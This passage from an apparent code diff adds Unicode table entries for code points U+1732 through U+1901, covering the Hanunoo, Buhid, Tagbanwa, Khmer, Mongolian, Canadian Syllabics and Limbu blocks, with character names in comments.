+ [0x1732, 0x1732], /* HANUNOO VOWEL SIGN I */
+ [0x1733, 0x1733], /* HANUNOO VOWEL SIGN U */
+ [0x1734, 0x1734], /* HANUNOO SIGN PAMUDPOD */
+ [0x1735, 0x1735], /* PHILIPPINE SINGLE PUNCTUATION */
+ [0x1736, 0x1736], /* PHILIPPINE DOUBLE PUNCTUATION */
+ [0x1737, 0x1737],
+ [0x1738, 0x1738],
+ [0x1739, 0x1739],
+ [0x173a, 0x173a],
+ [0x173b, 0x173b],
+ [0x173c, 0x173c],
+ [0x173d, 0x173d],
+ [0x173e, 0x173e],
+ [0x173f, 0x173f],
+ [0x1740, 0x1740], /* BUHID LETTER A */
+ [0x1741, 0x1741], /* BUHID LETTER I */
+ [0x1742, 0x1742], /* BUHID LETTER U */
+ [0x1743, 0x1743], /* BUHID LETTER KA */
+ [0x1744, 0x1744], /* BUHID LETTER GA */
+ [0x1745, 0x1745], /* BUHID LETTER NGA */
+ [0x1746, 0x1746], /* BUHID LETTER TA */
+ [0x1747, 0x1747], /* BUHID LETTER DA */
+ [0x1748, 0x1748], /* BUHID LETTER NA */
+ [0x1749, 0x1749], /* BUHID LETTER PA */
+ [0x174a, 0x174a], /* BUHID LETTER BA */
+ [0x174b, 0x174b], /* BUHID LETTER MA */
+ [0x174c, 0x174c], /* BUHID LETTER YA */
+ [0x174d, 0x174d], /* BUHID LETTER RA */
+ [0x174e, 0x174e], /* BUHID LETTER LA */
+ [0x174f, 0x174f], /* BUHID LETTER WA */
+ [0x1750, 0x1750], /* BUHID LETTER SA */
+ [0x1751, 0x1751], /* BUHID LETTER HA */
+ [0x1752, 0x1752], /* BUHID VOWEL SIGN I */
+ [0x1753, 0x1753], /* BUHID VOWEL SIGN U */
+ [0x1754, 0x1754],
+ [0x1755, 0x1755],
+ [0x1756, 0x1756],
+ [0x1757, 0x1757],
+ [0x1758, 0x1758],
+ [0x1759, 0x1759],
+ [0x175a, 0x175a],
+ [0x175b, 0x175b],
+ [0x175c, 0x175c],
+ [0x175d, 0x175d],
+ [0x175e, 0x175e],
+ [0x175f, 0x175f],
+ [0x1760, 0x1760], /* TAGBANWA LETTER A */
+ [0x1761, 0x1761], /* TAGBANWA LETTER I */
+ [0x1762, 0x1762], /* TAGBANWA LETTER U */
+ [0x1763, 0x1763], /* TAGBANWA LETTER KA */
+ [0x1764, 0x1764], /* TAGBANWA LETTER GA */
+ [0x1765, 0x1765], /* TAGBANWA LETTER NGA */
+ [0x1766, 0x1766], /* TAGBANWA LETTER TA */
+ [0x1767, 0x1767], /* TAGBANWA LETTER DA */
+ [0x1768, 0x1768], /* TAGBANWA LETTER NA */
+ [0x1769, 0x1769], /* TAGBANWA LETTER PA */
+ [0x176a, 0x176a], /* TAGBANWA LETTER BA */
+ [0x176b, 0x176b], /* TAGBANWA LETTER MA */
+ [0x176c, 0x176c], /* TAGBANWA LETTER YA */
+ [0x176d, 0x176d],
+ [0x176e, 0x176e], /* TAGBANWA LETTER LA */
+ [0x176f, 0x176f], /* TAGBANWA LETTER WA */
+ [0x1770, 0x1770], /* TAGBANWA LETTER SA */
+ [0x1771, 0x1771],
+ [0x1772, 0x1772], /* TAGBANWA VOWEL SIGN I */
+ [0x1773, 0x1773], /* TAGBANWA VOWEL SIGN U */
+ [0x1774, 0x1774],
+ [0x1775, 0x1775],
+ [0x1776, 0x1776],
+ [0x1777, 0x1777],
+ [0x1778, 0x1778],
+ [0x1779, 0x1779],
+ [0x177a, 0x177a],
+ [0x177b, 0x177b],
+ [0x177c, 0x177c],
+ [0x177d, 0x177d],
+ [0x177e, 0x177e],
+ [0x177f, 0x177f],
+ [0x1780, 0x1780], /* KHMER LETTER KA */
+ [0x1781, 0x1781], /* KHMER LETTER KHA */
+ [0x1782, 0x1782], /* KHMER LETTER KO */
+ [0x1783, 0x1783], /* KHMER LETTER KHO */
+ [0x1784, 0x1784], /* KHMER LETTER NGO */
+ [0x1785, 0x1785], /* KHMER LETTER CA */
+ [0x1786, 0x1786], /* KHMER LETTER CHA */
+ [0x1787, 0x1787], /* KHMER LETTER CO */
+ [0x1788, 0x1788], /* KHMER LETTER CHO */
+ [0x1789, 0x1789], /* KHMER LETTER NYO */
+ [0x178a, 0x178a], /* KHMER LETTER DA */
+ [0x178b, 0x178b], /* KHMER LETTER TTHA */
+ [0x178c, 0x178c], /* KHMER LETTER DO */
+ [0x178d, 0x178d], /* KHMER LETTER TTHO */
+ [0x178e, 0x178e], /* KHMER LETTER NNO */
+ [0x178f, 0x178f], /* KHMER LETTER TA */
+ [0x1790, 0x1790], /* KHMER LETTER THA */
+ [0x1791, 0x1791], /* KHMER LETTER TO */
+ [0x1792, 0x1792], /* KHMER LETTER THO */
+ [0x1793, 0x1793], /* KHMER LETTER NO */
+ [0x1794, 0x1794], /* KHMER LETTER BA */
+ [0x1795, 0x1795], /* KHMER LETTER PHA */
+ [0x1796, 0x1796], /* KHMER LETTER PO */
+ [0x1797, 0x1797], /* KHMER LETTER PHO */
+ [0x1798, 0x1798], /* KHMER LETTER MO */
+ [0x1799, 0x1799], /* KHMER LETTER YO */
+ [0x179a, 0x179a], /* KHMER LETTER RO */
+ [0x179b, 0x179b], /* KHMER LETTER LO */
+ [0x179c, 0x179c], /* KHMER LETTER VO */
+ [0x179d, 0x179d], /* KHMER LETTER SHA */
+ [0x179e, 0x179e], /* KHMER LETTER SSO */
+ [0x179f, 0x179f], /* KHMER LETTER SA */
+ [0x17a0, 0x17a0], /* KHMER LETTER HA */
+ [0x17a1, 0x17a1], /* KHMER LETTER LA */
+ [0x17a2, 0x17a2], /* KHMER LETTER QA */
+ [0x17a3, 0x17a3], /* KHMER INDEPENDENT VOWEL QAQ */
+ [0x17a4, 0x17a4], /* KHMER INDEPENDENT VOWEL QAA */
+ [0x17a5, 0x17a5], /* KHMER INDEPENDENT VOWEL QI */
+ [0x17a6, 0x17a6], /* KHMER INDEPENDENT VOWEL QII */
+ [0x17a7, 0x17a7], /* KHMER INDEPENDENT VOWEL QU */
+ [0x17a8, 0x17a8], /* KHMER INDEPENDENT VOWEL QUK */
+ [0x17a9, 0x17a9], /* KHMER INDEPENDENT VOWEL QUU */
+ [0x17aa, 0x17aa], /* KHMER INDEPENDENT VOWEL QUUV */
+ [0x17ab, 0x17ab], /* KHMER INDEPENDENT VOWEL RY */
+ [0x17ac, 0x17ac], /* KHMER INDEPENDENT VOWEL RYY */
+ [0x17ad, 0x17ad], /* KHMER INDEPENDENT VOWEL LY */
+ [0x17ae, 0x17ae], /* KHMER INDEPENDENT VOWEL LYY */
+ [0x17af, 0x17af], /* KHMER INDEPENDENT VOWEL QE */
+ [0x17b0, 0x17b0], /* KHMER INDEPENDENT VOWEL QAI */
+ [0x17b1, 0x17b1], /* KHMER INDEPENDENT VOWEL QOO TYPE ONE */
+ [0x17b2, 0x17b2], /* KHMER INDEPENDENT VOWEL QOO TYPE TWO */
+ [0x17b3, 0x17b3], /* KHMER INDEPENDENT VOWEL QAU */
+ [0x17b4, 0x17b4], /* KHMER VOWEL INHERENT AQ */
+ [0x17b5, 0x17b5], /* KHMER VOWEL INHERENT AA */
+ [0x17b6, 0x17b6], /* KHMER VOWEL SIGN AA */
+ [0x17b7, 0x17b7], /* KHMER VOWEL SIGN I */
+ [0x17b8, 0x17b8], /* KHMER VOWEL SIGN II */
+ [0x17b9, 0x17b9], /* KHMER VOWEL SIGN Y */
+ [0x17ba, 0x17ba], /* KHMER VOWEL SIGN YY */
+ [0x17bb, 0x17bb], /* KHMER VOWEL SIGN U */
+ [0x17bc, 0x17bc], /* KHMER VOWEL SIGN UU */
+ [0x17bd, 0x17bd], /* KHMER VOWEL SIGN UA */
+ [0x17be, 0x17be], /* KHMER VOWEL SIGN OE */
+ [0x17bf, 0x17bf], /* KHMER VOWEL SIGN YA */
+ [0x17c0, 0x17c0], /* KHMER VOWEL SIGN IE */
+ [0x17c1, 0x17c1], /* KHMER VOWEL SIGN E */
+ [0x17c2, 0x17c2], /* KHMER VOWEL SIGN AE */
+ [0x17c3, 0x17c3], /* KHMER VOWEL SIGN AI */
+ [0x17c4, 0x17c4], /* KHMER VOWEL SIGN OO */
+ [0x17c5, 0x17c5], /* KHMER VOWEL SIGN AU */
+ [0x17c6, 0x17c6], /* KHMER SIGN NIKAHIT */
+ [0x17c7, 0x17c7], /* KHMER SIGN REAHMUK */
+ [0x17c8, 0x17c8], /* KHMER SIGN YUUKALEAPINTU */
+ [0x17c9, 0x17c9], /* KHMER SIGN MUUSIKATOAN */
+ [0x17ca, 0x17ca], /* KHMER SIGN TRIISAP */
+ [0x17cb, 0x17cb], /* KHMER SIGN BANTOC */
+ [0x17cc, 0x17cc], /* KHMER SIGN ROBAT */
+ [0x17cd, 0x17cd], /* KHMER SIGN TOANDAKHIAT */
+ [0x17ce, 0x17ce], /* KHMER SIGN KAKABAT */
+ [0x17cf, 0x17cf], /* KHMER SIGN AHSDA */
+ [0x17d0, 0x17d0], /* KHMER SIGN SAMYOK SANNYA */
+ [0x17d1, 0x17d1], /* KHMER SIGN VIRIAM */
+ [0x17d2, 0x17d2], /* KHMER SIGN COENG */
+ [0x17d3, 0x17d3], /* KHMER SIGN BATHAMASAT */
+ [0x17d4, 0x17d4], /* KHMER SIGN KHAN */
+ [0x17d5, 0x17d5], /* KHMER SIGN BARIYOOSAN */
+ [0x17d6, 0x17d6], /* KHMER SIGN CAMNUC PII KUUH */
+ [0x17d7, 0x17d7], /* KHMER SIGN LEK TOO */
+ [0x17d8, 0x17d8], /* KHMER SIGN BEYYAL */
+ [0x17d9, 0x17d9], /* KHMER SIGN PHNAEK MUAN */
+ [0x17da, 0x17da], /* KHMER SIGN KOOMUUT */
+ [0x17db, 0x17db], /* KHMER CURRENCY SYMBOL RIEL */
+ [0x17dc, 0x17dc], /* KHMER SIGN AVAKRAHASANYA */
+ [0x17dd, 0x17dd], /* KHMER SIGN ATTHACAN */
+ [0x17de, 0x17de],
+ [0x17df, 0x17df],
+ [0x17e0, 0x17e0], /* KHMER DIGIT ZERO */
+ [0x17e1, 0x17e1], /* KHMER DIGIT ONE */
+ [0x17e2, 0x17e2], /* KHMER DIGIT TWO */
+ [0x17e3, 0x17e3], /* KHMER DIGIT THREE */
+ [0x17e4, 0x17e4], /* KHMER DIGIT FOUR */
+ [0x17e5, 0x17e5], /* KHMER DIGIT FIVE */
+ [0x17e6, 0x17e6], /* KHMER DIGIT SIX */
+ [0x17e7, 0x17e7], /* KHMER DIGIT SEVEN */
+ [0x17e8, 0x17e8], /* KHMER DIGIT EIGHT */
+ [0x17e9, 0x17e9], /* KHMER DIGIT NINE */
+ [0x17ea, 0x17ea],
+ [0x17eb, 0x17eb],
+ [0x17ec, 0x17ec],
+ [0x17ed, 0x17ed],
+ [0x17ee, 0x17ee],
+ [0x17ef, 0x17ef],
+ [0x17f0, 0x17f0], /* KHMER SYMBOL LEK ATTAK SON */
+ [0x17f1, 0x17f1], /* KHMER SYMBOL LEK ATTAK MUOY */
+ [0x17f2, 0x17f2], /* KHMER SYMBOL LEK ATTAK PII */
+ [0x17f3, 0x17f3], /* KHMER SYMBOL LEK ATTAK BEI */
+ [0x17f4, 0x17f4], /* KHMER SYMBOL LEK ATTAK BUON */
+ [0x17f5, 0x17f5], /* KHMER SYMBOL LEK ATTAK PRAM */
+ [0x17f6, 0x17f6], /* KHMER SYMBOL LEK ATTAK PRAM-MUOY */
+ [0x17f7, 0x17f7], /* KHMER SYMBOL LEK ATTAK PRAM-PII */
+ [0x17f8, 0x17f8], /* KHMER SYMBOL LEK ATTAK PRAM-BEI */
+ [0x17f9, 0x17f9], /* KHMER SYMBOL LEK ATTAK PRAM-BUON */
+ [0x17fa, 0x17fa],
+ [0x17fb, 0x17fb],
+ [0x17fc, 0x17fc],
+ [0x17fd, 0x17fd],
+ [0x17fe, 0x17fe],
+ [0x17ff, 0x17ff],
+ [0x1800, 0x1800], /* MONGOLIAN BIRGA */
+ [0x1801, 0x1801], /* MONGOLIAN ELLIPSIS */
+ [0x1802, 0x1802], /* MONGOLIAN COMMA */
+ [0x1803, 0x1803], /* MONGOLIAN FULL STOP */
+ [0x1804, 0x1804], /* MONGOLIAN COLON */
+ [0x1805, 0x1805], /* MONGOLIAN FOUR DOTS */
+ [0x1806, 0x1806], /* MONGOLIAN TODO SOFT HYPHEN */
+ [0x1807, 0x1807], /* MONGOLIAN SIBE SYLLABLE BOUNDARY MARKER */
+ [0x1808, 0x1808], /* MONGOLIAN MANCHU COMMA */
+ [0x1809, 0x1809], /* MONGOLIAN MANCHU FULL STOP */
+ [0x180a, 0x180a], /* MONGOLIAN NIRUGU */
+ [0x180b, 0x180b], /* MONGOLIAN FREE VARIATION SELECTOR ONE */
+ [0x180c, 0x180c], /* MONGOLIAN FREE VARIATION SELECTOR TWO */
+ [0x180d, 0x180d], /* MONGOLIAN FREE VARIATION SELECTOR THREE */
+ [0x180e, 0x180e], /* MONGOLIAN VOWEL SEPARATOR */
+ [0x180f, 0x180f],
+ [0x1810, 0x1810], /* MONGOLIAN DIGIT ZERO */
+ [0x1811, 0x1811], /* MONGOLIAN DIGIT ONE */
+ [0x1812, 0x1812], /* MONGOLIAN DIGIT TWO */
+ [0x1813, 0x1813], /* MONGOLIAN DIGIT THREE */
+ [0x1814, 0x1814], /* MONGOLIAN DIGIT FOUR */
+ [0x1815, 0x1815], /* MONGOLIAN DIGIT FIVE */
+ [0x1816, 0x1816], /* MONGOLIAN DIGIT SIX */
+ [0x1817, 0x1817], /* MONGOLIAN DIGIT SEVEN */
+ [0x1818, 0x1818], /* MONGOLIAN DIGIT EIGHT */
+ [0x1819, 0x1819], /* MONGOLIAN DIGIT NINE */
+ [0x181a, 0x181a],
+ [0x181b, 0x181b],
+ [0x181c, 0x181c],
+ [0x181d, 0x181d],
+ [0x181e, 0x181e],
+ [0x181f, 0x181f],
+ [0x1820, 0x1820], /* MONGOLIAN LETTER A */
+ [0x1821, 0x1821], /* MONGOLIAN LETTER E */
+ [0x1822, 0x1822], /* MONGOLIAN LETTER I */
+ [0x1823, 0x1823], /* MONGOLIAN LETTER O */
+ [0x1824, 0x1824], /* MONGOLIAN LETTER U */
+ [0x1825, 0x1825], /* MONGOLIAN LETTER OE */
+ [0x1826, 0x1826], /* MONGOLIAN LETTER UE */
+ [0x1827, 0x1827], /* MONGOLIAN LETTER EE */
+ [0x1828, 0x1828], /* MONGOLIAN LETTER NA */
+ [0x1829, 0x1829], /* MONGOLIAN LETTER ANG */
+ [0x182a, 0x182a], /* MONGOLIAN LETTER BA */
+ [0x182b, 0x182b], /* MONGOLIAN LETTER PA */
+ [0x182c, 0x182c], /* MONGOLIAN LETTER QA */
+ [0x182d, 0x182d], /* MONGOLIAN LETTER GA */
+ [0x182e, 0x182e], /* MONGOLIAN LETTER MA */
+ [0x182f, 0x182f], /* MONGOLIAN LETTER LA */
+ [0x1830, 0x1830], /* MONGOLIAN LETTER SA */
+ [0x1831, 0x1831], /* MONGOLIAN LETTER SHA */
+ [0x1832, 0x1832], /* MONGOLIAN LETTER TA */
+ [0x1833, 0x1833], /* MONGOLIAN LETTER DA */
+ [0x1834, 0x1834], /* MONGOLIAN LETTER CHA */
+ [0x1835, 0x1835], /* MONGOLIAN LETTER JA */
+ [0x1836, 0x1836], /* MONGOLIAN LETTER YA */
+ [0x1837, 0x1837], /* MONGOLIAN LETTER RA */
+ [0x1838, 0x1838], /* MONGOLIAN LETTER WA */
+ [0x1839, 0x1839], /* MONGOLIAN LETTER FA */
+ [0x183a, 0x183a], /* MONGOLIAN LETTER KA */
+ [0x183b, 0x183b], /* MONGOLIAN LETTER KHA */
+ [0x183c, 0x183c], /* MONGOLIAN LETTER TSA */
+ [0x183d, 0x183d], /* MONGOLIAN LETTER ZA */
+ [0x183e, 0x183e], /* MONGOLIAN LETTER HAA */
+ [0x183f, 0x183f], /* MONGOLIAN LETTER ZRA */
+ [0x1840, 0x1840], /* MONGOLIAN LETTER LHA */
+ [0x1841, 0x1841], /* MONGOLIAN LETTER ZHI */
+ [0x1842, 0x1842], /* MONGOLIAN LETTER CHI */
+ [0x1843, 0x1843], /* MONGOLIAN LETTER TODO LONG VOWEL SIGN */
+ [0x1844, 0x1844], /* MONGOLIAN LETTER TODO E */
+ [0x1845, 0x1845], /* MONGOLIAN LETTER TODO I */
+ [0x1846, 0x1846], /* MONGOLIAN LETTER TODO O */
+ [0x1847, 0x1847], /* MONGOLIAN LETTER TODO U */
+ [0x1848, 0x1848], /* MONGOLIAN LETTER TODO OE */
+ [0x1849, 0x1849], /* MONGOLIAN LETTER TODO UE */
+ [0x184a, 0x184a], /* MONGOLIAN LETTER TODO ANG */
+ [0x184b, 0x184b], /* MONGOLIAN LETTER TODO BA */
+ [0x184c, 0x184c], /* MONGOLIAN LETTER TODO PA */
+ [0x184d, 0x184d], /* MONGOLIAN LETTER TODO QA */
+ [0x184e, 0x184e], /* MONGOLIAN LETTER TODO GA */
+ [0x184f, 0x184f], /* MONGOLIAN LETTER TODO MA */
+ [0x1850, 0x1850], /* MONGOLIAN LETTER TODO TA */
+ [0x1851, 0x1851], /* MONGOLIAN LETTER TODO DA */
+ [0x1852, 0x1852], /* MONGOLIAN LETTER TODO CHA */
+ [0x1853, 0x1853], /* MONGOLIAN LETTER TODO JA */
+ [0x1854, 0x1854], /* MONGOLIAN LETTER TODO TSA */
+ [0x1855, 0x1855], /* MONGOLIAN LETTER TODO YA */
+ [0x1856, 0x1856], /* MONGOLIAN LETTER TODO WA */
+ [0x1857, 0x1857], /* MONGOLIAN LETTER TODO KA */
+ [0x1858, 0x1858], /* MONGOLIAN LETTER TODO GAA */
+ [0x1859, 0x1859], /* MONGOLIAN LETTER TODO HAA */
+ [0x185a, 0x185a], /* MONGOLIAN LETTER TODO JIA */
+ [0x185b, 0x185b], /* MONGOLIAN LETTER TODO NIA */
+ [0x185c, 0x185c], /* MONGOLIAN LETTER TODO DZA */
+ [0x185d, 0x185d], /* MONGOLIAN LETTER SIBE E */
+ [0x185e, 0x185e], /* MONGOLIAN LETTER SIBE I */
+ [0x185f, 0x185f], /* MONGOLIAN LETTER SIBE IY */
+ [0x1860, 0x1860], /* MONGOLIAN LETTER SIBE UE */
+ [0x1861, 0x1861], /* MONGOLIAN LETTER SIBE U */
+ [0x1862, 0x1862], /* MONGOLIAN LETTER SIBE ANG */
+ [0x1863, 0x1863], /* MONGOLIAN LETTER SIBE KA */
+ [0x1864, 0x1864], /* MONGOLIAN LETTER SIBE GA */
+ [0x1865, 0x1865], /* MONGOLIAN LETTER SIBE HA */
+ [0x1866, 0x1866], /* MONGOLIAN LETTER SIBE PA */
+ [0x1867, 0x1867], /* MONGOLIAN LETTER SIBE SHA */
+ [0x1868, 0x1868], /* MONGOLIAN LETTER SIBE TA */
+ [0x1869, 0x1869], /* MONGOLIAN LETTER SIBE DA */
+ [0x186a, 0x186a], /* MONGOLIAN LETTER SIBE JA */
+ [0x186b, 0x186b], /* MONGOLIAN LETTER SIBE FA */
+ [0x186c, 0x186c], /* MONGOLIAN LETTER SIBE GAA */
+ [0x186d, 0x186d], /* MONGOLIAN LETTER SIBE HAA */
+ [0x186e, 0x186e], /* MONGOLIAN LETTER SIBE TSA */
+ [0x186f, 0x186f], /* MONGOLIAN LETTER SIBE ZA */
+ [0x1870, 0x1870], /* MONGOLIAN LETTER SIBE RAA */
+ [0x1871, 0x1871], /* MONGOLIAN LETTER SIBE CHA */
+ [0x1872, 0x1872], /* MONGOLIAN LETTER SIBE ZHA */
+ [0x1873, 0x1873], /* MONGOLIAN LETTER MANCHU I */
+ [0x1874, 0x1874], /* MONGOLIAN LETTER MANCHU KA */
+ [0x1875, 0x1875], /* MONGOLIAN LETTER MANCHU RA */
+ [0x1876, 0x1876], /* MONGOLIAN LETTER MANCHU FA */
+ [0x1877, 0x1877], /* MONGOLIAN LETTER MANCHU ZHA */
+ [0x1878, 0x1878],
+ [0x1879, 0x1879],
+ [0x187a, 0x187a],
+ [0x187b, 0x187b],
+ [0x187c, 0x187c],
+ [0x187d, 0x187d],
+ [0x187e, 0x187e],
+ [0x187f, 0x187f],
+ [0x1880, 0x1880], /* MONGOLIAN LETTER ALI GALI ANUSVARA ONE */
+ [0x1881, 0x1881], /* MONGOLIAN LETTER ALI GALI VISARGA ONE */
+ [0x1882, 0x1882], /* MONGOLIAN LETTER ALI GALI DAMARU */
+ [0x1883, 0x1883], /* MONGOLIAN LETTER ALI GALI UBADAMA */
+ [0x1884, 0x1884], /* MONGOLIAN LETTER ALI GALI INVERTED UBADAMA */
+ [0x1885, 0x1885], /* MONGOLIAN LETTER ALI GALI BALUDA */
+ [0x1886, 0x1886], /* MONGOLIAN LETTER ALI GALI THREE BALUDA */
+ [0x1887, 0x1887], /* MONGOLIAN LETTER ALI GALI A */
+ [0x1888, 0x1888], /* MONGOLIAN LETTER ALI GALI I */
+ [0x1889, 0x1889], /* MONGOLIAN LETTER ALI GALI KA */
+ [0x188a, 0x188a], /* MONGOLIAN LETTER ALI GALI NGA */
+ [0x188b, 0x188b], /* MONGOLIAN LETTER ALI GALI CA */
+ [0x188c, 0x188c], /* MONGOLIAN LETTER ALI GALI TTA */
+ [0x188d, 0x188d], /* MONGOLIAN LETTER ALI GALI TTHA */
+ [0x188e, 0x188e], /* MONGOLIAN LETTER ALI GALI DDA */
+ [0x188f, 0x188f], /* MONGOLIAN LETTER ALI GALI NNA */
+ [0x1890, 0x1890], /* MONGOLIAN LETTER ALI GALI TA */
+ [0x1891, 0x1891], /* MONGOLIAN LETTER ALI GALI DA */
+ [0x1892, 0x1892], /* MONGOLIAN LETTER ALI GALI PA */
+ [0x1893, 0x1893], /* MONGOLIAN LETTER ALI GALI PHA */
+ [0x1894, 0x1894], /* MONGOLIAN LETTER ALI GALI SSA */
+ [0x1895, 0x1895], /* MONGOLIAN LETTER ALI GALI ZHA */
+ [0x1896, 0x1896], /* MONGOLIAN LETTER ALI GALI ZA */
+ [0x1897, 0x1897], /* MONGOLIAN LETTER ALI GALI AH */
+ [0x1898, 0x1898], /* MONGOLIAN LETTER TODO ALI GALI TA */
+ [0x1899, 0x1899], /* MONGOLIAN LETTER TODO ALI GALI ZHA */
+ [0x189a, 0x189a], /* MONGOLIAN LETTER MANCHU ALI GALI GHA */
+ [0x189b, 0x189b], /* MONGOLIAN LETTER MANCHU ALI GALI NGA */
+ [0x189c, 0x189c], /* MONGOLIAN LETTER MANCHU ALI GALI CA */
+ [0x189d, 0x189d], /* MONGOLIAN LETTER MANCHU ALI GALI JHA */
+ [0x189e, 0x189e], /* MONGOLIAN LETTER MANCHU ALI GALI TTA */
+ [0x189f, 0x189f], /* MONGOLIAN LETTER MANCHU ALI GALI DDHA */
+ [0x18a0, 0x18a0], /* MONGOLIAN LETTER MANCHU ALI GALI TA */
+ [0x18a1, 0x18a1], /* MONGOLIAN LETTER MANCHU ALI GALI DHA */
+ [0x18a2, 0x18a2], /* MONGOLIAN LETTER MANCHU ALI GALI SSA */
+ [0x18a3, 0x18a3], /* MONGOLIAN LETTER MANCHU ALI GALI CYA */
+ [0x18a4, 0x18a4], /* MONGOLIAN LETTER MANCHU ALI GALI ZHA */
+ [0x18a5, 0x18a5], /* MONGOLIAN LETTER MANCHU ALI GALI ZA */
+ [0x18a6, 0x18a6], /* MONGOLIAN LETTER ALI GALI HALF U */
+ [0x18a7, 0x18a7], /* MONGOLIAN LETTER ALI GALI HALF YA */
+ [0x18a8, 0x18a8], /* MONGOLIAN LETTER MANCHU ALI GALI BHA */
+ [0x18a9, 0x18a9], /* MONGOLIAN LETTER ALI GALI DAGALGA */
+ [0x18aa, 0x18aa], /* MONGOLIAN LETTER MANCHU ALI GALI LHA */
+ [0x18ab, 0x18ab],
+ [0x18ac, 0x18ac],
+ [0x18ad, 0x18ad],
+ [0x18ae, 0x18ae],
+ [0x18af, 0x18af],
+ [0x18b0, 0x18b0], /* CANADIAN SYLLABICS OY */
+ [0x18b1, 0x18b1], /* CANADIAN SYLLABICS AY */
+ [0x18b2, 0x18b2], /* CANADIAN SYLLABICS AAY */
+ [0x18b3, 0x18b3], /* CANADIAN SYLLABICS WAY */
+ [0x18b4, 0x18b4], /* CANADIAN SYLLABICS POY */
+ [0x18b5, 0x18b5], /* CANADIAN SYLLABICS PAY */
+ [0x18b6, 0x18b6], /* CANADIAN SYLLABICS PWOY */
+ [0x18b7, 0x18b7], /* CANADIAN SYLLABICS TAY */
+ [0x18b8, 0x18b8], /* CANADIAN SYLLABICS KAY */
+ [0x18b9, 0x18b9], /* CANADIAN SYLLABICS KWAY */
+ [0x18ba, 0x18ba], /* CANADIAN SYLLABICS MAY */
+ [0x18bb, 0x18bb], /* CANADIAN SYLLABICS NOY */
+ [0x18bc, 0x18bc], /* CANADIAN SYLLABICS NAY */
+ [0x18bd, 0x18bd], /* CANADIAN SYLLABICS LAY */
+ [0x18be, 0x18be], /* CANADIAN SYLLABICS SOY */
+ [0x18bf, 0x18bf], /* CANADIAN SYLLABICS SAY */
+ [0x18c0, 0x18c0], /* CANADIAN SYLLABICS SHOY */
+ [0x18c1, 0x18c1], /* CANADIAN SYLLABICS SHAY */
+ [0x18c2, 0x18c2], /* CANADIAN SYLLABICS SHWOY */
+ [0x18c3, 0x18c3], /* CANADIAN SYLLABICS YOY */
+ [0x18c4, 0x18c4], /* CANADIAN SYLLABICS YAY */
+ [0x18c5, 0x18c5], /* CANADIAN SYLLABICS RAY */
+ [0x18c6, 0x18c6], /* CANADIAN SYLLABICS NWI */
+ [0x18c7, 0x18c7], /* CANADIAN SYLLABICS OJIBWAY NWI */
+ [0x18c8, 0x18c8], /* CANADIAN SYLLABICS NWII */
+ [0x18c9, 0x18c9], /* CANADIAN SYLLABICS OJIBWAY NWII */
+ [0x18ca, 0x18ca], /* CANADIAN SYLLABICS NWO */
+ [0x18cb, 0x18cb], /* CANADIAN SYLLABICS OJIBWAY NWO */
+ [0x18cc, 0x18cc], /* CANADIAN SYLLABICS NWOO */
+ [0x18cd, 0x18cd], /* CANADIAN SYLLABICS OJIBWAY NWOO */
+ [0x18ce, 0x18ce], /* CANADIAN SYLLABICS RWEE */
+ [0x18cf, 0x18cf], /* CANADIAN SYLLABICS RWI */
+ [0x18d0, 0x18d0], /* CANADIAN SYLLABICS RWII */
+ [0x18d1, 0x18d1], /* CANADIAN SYLLABICS RWO */
+ [0x18d2, 0x18d2], /* CANADIAN SYLLABICS RWOO */
+ [0x18d3, 0x18d3], /* CANADIAN SYLLABICS RWA */
+ [0x18d4, 0x18d4], /* CANADIAN SYLLABICS OJIBWAY P */
+ [0x18d5, 0x18d5], /* CANADIAN SYLLABICS OJIBWAY T */
+ [0x18d6, 0x18d6], /* CANADIAN SYLLABICS OJIBWAY K */
+ [0x18d7, 0x18d7], /* CANADIAN SYLLABICS OJIBWAY C */
+ [0x18d8, 0x18d8], /* CANADIAN SYLLABICS OJIBWAY M */
+ [0x18d9, 0x18d9], /* CANADIAN SYLLABICS OJIBWAY N */
+ [0x18da, 0x18da], /* CANADIAN SYLLABICS OJIBWAY S */
+ [0x18db, 0x18db], /* CANADIAN SYLLABICS OJIBWAY SH */
+ [0x18dc, 0x18dc], /* CANADIAN SYLLABICS EASTERN W */
+ [0x18dd, 0x18dd], /* CANADIAN SYLLABICS WESTERN W */
+ [0x18de, 0x18de], /* CANADIAN SYLLABICS FINAL SMALL RING */
+ [0x18df, 0x18df], /* CANADIAN SYLLABICS FINAL RAISED DOT */
+ [0x18e0, 0x18e0], /* CANADIAN SYLLABICS R-CREE RWE */
+ [0x18e1, 0x18e1], /* CANADIAN SYLLABICS WEST-CREE LOO */
+ [0x18e2, 0x18e2], /* CANADIAN SYLLABICS WEST-CREE LAA */
+ [0x18e3, 0x18e3], /* CANADIAN SYLLABICS THWE */
+ [0x18e4, 0x18e4], /* CANADIAN SYLLABICS THWA */
+ [0x18e5, 0x18e5], /* CANADIAN SYLLABICS TTHWE */
+ [0x18e6, 0x18e6], /* CANADIAN SYLLABICS TTHOO */
+ [0x18e7, 0x18e7], /* CANADIAN SYLLABICS TTHAA */
+ [0x18e8, 0x18e8], /* CANADIAN SYLLABICS TLHWE */
+ [0x18e9, 0x18e9], /* CANADIAN SYLLABICS TLHOO */
+ [0x18ea, 0x18ea], /* CANADIAN SYLLABICS SAYISI SHWE */
+ [0x18eb, 0x18eb], /* CANADIAN SYLLABICS SAYISI SHOO */
+ [0x18ec, 0x18ec], /* CANADIAN SYLLABICS SAYISI HOO */
+ [0x18ed, 0x18ed], /* CANADIAN SYLLABICS CARRIER GWU */
+ [0x18ee, 0x18ee], /* CANADIAN SYLLABICS CARRIER DENE GEE */
+ [0x18ef, 0x18ef], /* CANADIAN SYLLABICS CARRIER GAA */
+ [0x18f0, 0x18f0], /* CANADIAN SYLLABICS CARRIER GWA */
+ [0x18f1, 0x18f1], /* CANADIAN SYLLABICS SAYISI JUU */
+ [0x18f2, 0x18f2], /* CANADIAN SYLLABICS CARRIER JWA */
+ [0x18f3, 0x18f3], /* CANADIAN SYLLABICS BEAVER DENE L */
+ [0x18f4, 0x18f4], /* CANADIAN SYLLABICS BEAVER DENE R */
+ [0x18f5, 0x18f5], /* CANADIAN SYLLABICS CARRIER DENTAL S */
+ [0x18f6, 0x18f6],
+ [0x18f7, 0x18f7],
+ [0x18f8, 0x18f8],
+ [0x18f9, 0x18f9],
+ [0x18fa, 0x18fa],
+ [0x18fb, 0x18fb],
+ [0x18fc, 0x18fc],
+ [0x18fd, 0x18fd],
+ [0x18fe, 0x18fe],
+ [0x18ff, 0x18ff],
+ [0x1900, 0x1900], /* LIMBU VOWEL-CARRIER LETTER */
+ [0x1901, 0x1901], /* LIMBU LETTER KA */
